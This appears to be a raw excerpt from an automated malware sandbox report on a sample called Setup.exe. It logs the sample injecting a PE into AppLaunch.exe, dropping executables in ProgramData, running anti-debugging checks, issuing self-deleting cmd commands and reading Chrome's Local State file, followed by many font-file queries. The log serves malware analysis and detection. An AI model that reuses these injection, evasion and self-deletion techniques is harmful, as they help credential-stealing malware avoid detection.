Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00411A90 _memset,SHGetFolderPathA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,_memset,SHGetFolderPathA,wsprintfA,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00411A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0040BC60 wsprintfA,FindFirstFileA,_memset,lstrcatA,StrCmpCA,StrCmpCA,lstrcpy,lstrcatA,lstrcatA,_strlen,_memset,_memset,StrCmpCA,wsprintfA,wsprintfA,lstrlenA,PathMatchSpecA,CoInitialize,PathMatchSpecA,lstrcpy,lstrcatA,PathFindFileNameA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,lstrcpy,lstrcatA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,CoInitialize,PathMatchSpecA,lstrcpy,lstrcatA,PathFindFileNameA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,PathMatchSpecA,lstrcpy,lstrcatA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,	2_2_0040BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00411740 _memset,_memset,SHGetFolderPathA,lstrcatA,wsprintfA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,GetFileAttributesA,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00411740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00416F40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,_memset,wsprintfA,_memset,wsprintfA,StrCmpCA,StrCmpCA,GetFileAttributesA,StrCmpCA,StrCmpCA,_memset,_memset,FindNextFileA,FindClose,	2_2_00416F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0040F710 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_0040F710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00419F90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,lstrcatA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,GetFileAttributesA,GetFileAttributesA,GetFileAttributesA,_memset,_memset,_memset,_memset,_memset,_memset,FindNextFileA,FindClose,_memset,lstrcatA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,GetFileAttributesA,GetFileAttributesA,GetFileAttributesA,_memset,_memset,_memset,_memset,_memset,_memset,	2_2_00419F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00417370 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00417370

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

2_2_00423F60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_00401090 mov eax, dword ptr fs:[00000030h]

2_2_00401090

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_00431A7F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00431A7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0040E830 _memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,GetCurrentProcessId,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,GetCurrentProcess,IsWow64Process,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,GetUserNameA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,EnumDisplayDevicesA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,_memset,

2_2_0040E830

Source: C:\ProgramData\68398609819664439000.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\ProgramData\68398609819664439000.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00431A7F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00431A7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00434ABA SetUnhandledExceptionFilter,	2_2_00434ABA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00429B16 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00429B16

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Setup.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Setup.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4A1C008			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\ProgramData\92398908710653760371.exe "C:\ProgramData\92398908710653760371.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\ProgramData\68398609819664439000.exe "C:\ProgramData\68398609819664439000.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & exit	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\92398908710653760371.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 6	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,_memset,LocalFree,	2_2_0041F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	2_2_004360D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	2_2_004368EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: GetLocaleInfoA,	2_2_00430106
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	2_2_00435120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	2_2_004369F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	2_2_00436995
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	2_2_0043923C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00439316

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\92398908710653760371.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\ProgramData\68398609819664439000.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
